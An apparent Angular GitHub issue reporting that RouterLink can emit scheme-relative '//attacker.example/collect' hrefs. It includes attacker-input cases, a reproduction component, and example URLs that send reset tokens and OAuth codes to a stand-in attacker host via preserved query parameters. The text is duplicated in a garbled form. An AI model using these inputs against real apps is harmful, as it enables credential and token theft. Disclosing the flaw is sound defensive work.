Which @angular/* package(s) are the source of the bug?
router
Is this a regression?
No
Description
RouterLink is documented as a directive that creates links for Angular route navigation. The input is treated as commands passed to Router#createUrlTree, or as a UrlTree.
However , RouterLink can serialize some internal Angular route command forms into an href that starts with //.
Browsers treat //attacker.example/path as a scheme-relative external URL. On an HTTPS app, that becomes:
https://attacker.example/path
So an application can use RouterLink expecting internal Angular navigation, but Angular writes an attacker-controlled external URL into the DOM.
The issue appears when the internal route command creates an empty leading primary segment after the app root.
Attacker redirect cases
Validated cases that generate an external attacker-controlled href:
| Case |
RouterLink command |
Attacker-controlled input |
Generated href |
| 1 |
['/', '', host, path] |
host = 'attacker.example', path = 'collect' |
//attacker.example/collect?... |
| 2 |
['/', ...next.split('/')] |
next = '/attacker.example/collect' |
//attacker.example/collect?... |
| 3 |
[{ outlets: { primary: next } }] |
next = '/attacker.example/collect' |
//attacker.example/collect?... |
| 4 |
[{ outlets: { primary: ['', host, path] } }] |
host = 'attacker.example', path = 'collect' |
//attacker.example/collect?... |
On an HTTPS application, all of these browser-resolve to:
https://attacker.example/collect?...
The impact becomes security-relevant when the app also uses:
queryParamsHandling="preserve"
or:
queryParamsHandling="merge"
In those modes, Angular can copy the current URL query parameters into the generated external link.
Example trusted URL:
https://victim.example/reset?token=RESET_TOKEN&code=OAUTH_CODE&next=/attacker.example/collect
Generated RouterLink href:
<a
href="//attacker.example/collect?token=RESET_TOKEN&code=OAUTH_CODE&next=..."
></a>
Browser destination:
https://attacker.example/collect?token=RESET_TOKEN&code=OAUTH_CODE&next=...
This can leak values such as password reset tokens, magic-login tokens, invite tokens, OAuth authorization codes, OAuth state values, or email verification tokens.
Minimal reproduction
import { Component, inject } from "@angular/core";
import { ActivatedRoute, RouterLink } from "@angular/router";
@Component({
selector: "app-home",
imports: [RouterLink],
template: `
<a
id="case-1"
target="_blank"
[routerLink]="noSplitCommands"
queryParamsHandling="preserve"
>
Case 1
</a>
<a
id="case-2"
target="_blank"
[routerLink]="splitCommands"
queryParamsHandling="preserve"
>
Case 2
</a>
<a
id="case-3"
target="_blank"
[routerLink]="primaryOutletCommands"
queryParamsHandling="preserve"
>
Case 3
</a>
<a
id="case-4"
target="_blank"
[routerLink]="primaryOutletArrayCommands"
queryParamsHandling="preserve"
>
Case 4
</a>
`,
})
export class Home {
private readonly route = inject(ActivatedRoute);
readonly host =
this.route.snapshot.queryParamMap.get("host") ?? "attacker.example";
readonly path = this.route.snapshot.queryParamMap.get("path") ?? "collect";
readonly next =
this.route.snapshot.queryParamMap.get("next") ??
`/${this.host}/${this.path}`;
readonly noSplitCommands = ["/", "", this.host, this.path];
readonly splitCommands = ["/", ...this.next.split("/")];
readonly primaryOutletCommands = [{ outlets: { primary: this.next } }];
readonly primaryOutletArrayCommands = [
{ outlets: { primary: ["", this.host, this.path] } },
];
}
Additional
A normal left-click without target may be intercepted by Angular. However, the external href already exists in the DOM and can still be followed by native anchor navigation paths such as:
target="_blank", "_top", "_parent", or named target
middle-click
Ctrl/Cmd-click
context menu -> open link in new tab/window
SSR / pre-hydration link following
no-JavaScript clients
crawlers, preview bots, or link scanners
child click handlers that call stopPropagation() without preventDefault()
Please provide a link to a minimal reproduction of the bug
This was previously reported at https://issuetracker.google.com/u/1/issues/531036578, however it is not considered a problem, I believe it should be reconsidered
Which @angular/* package(s) are the source of the bug?
router
Is this a regression?
No
Description
RouterLinkis documented as a directive that creates links for Angular route navigation. The input is treated as commands passed toRouter#createUrlTree, or as aUrlTree.However ,
RouterLinkcan serialize some internal Angular route command forms into anhrefthat starts with//.Browsers treat
//attacker.example/pathas a scheme-relative external URL. On an HTTPS app, that becomes:So an application can use
RouterLinkexpecting internal Angular navigation, but Angular writes an attacker-controlled external URL into the DOM.The issue appears when the internal route command creates an empty leading primary segment after the app root.
Attacker redirect cases
Validated cases that generate an external attacker-controlled
href:['/', '', host, path]host = 'attacker.example',path = 'collect'//attacker.example/collect?...['/', ...next.split('/')]next = '/attacker.example/collect'//attacker.example/collect?...[{ outlets: { primary: next } }]next = '/attacker.example/collect'//attacker.example/collect?...[{ outlets: { primary: ['', host, path] } }]host = 'attacker.example',path = 'collect'//attacker.example/collect?...On an HTTPS application, all of these browser-resolve to:
The impact becomes security-relevant when the app also uses:
or:
In those modes, Angular can copy the current URL query parameters into the generated external link.
Example trusted URL:
Generated
RouterLinkhref:Browser destination:
This can leak values such as password reset tokens, magic-login tokens, invite tokens, OAuth authorization codes, OAuth state values, or email verification tokens.
Minimal reproduction
Additional
A normal left-click without
targetmay be intercepted by Angular. However, the externalhrefalready exists in the DOM and can still be followed by native anchor navigation paths such as:Please provide a link to a minimal reproduction of the bug
This was previously reported at https://issuetracker.google.com/u/1/issues/531036578, however it is not considered a problem, I believe it should be reconsidered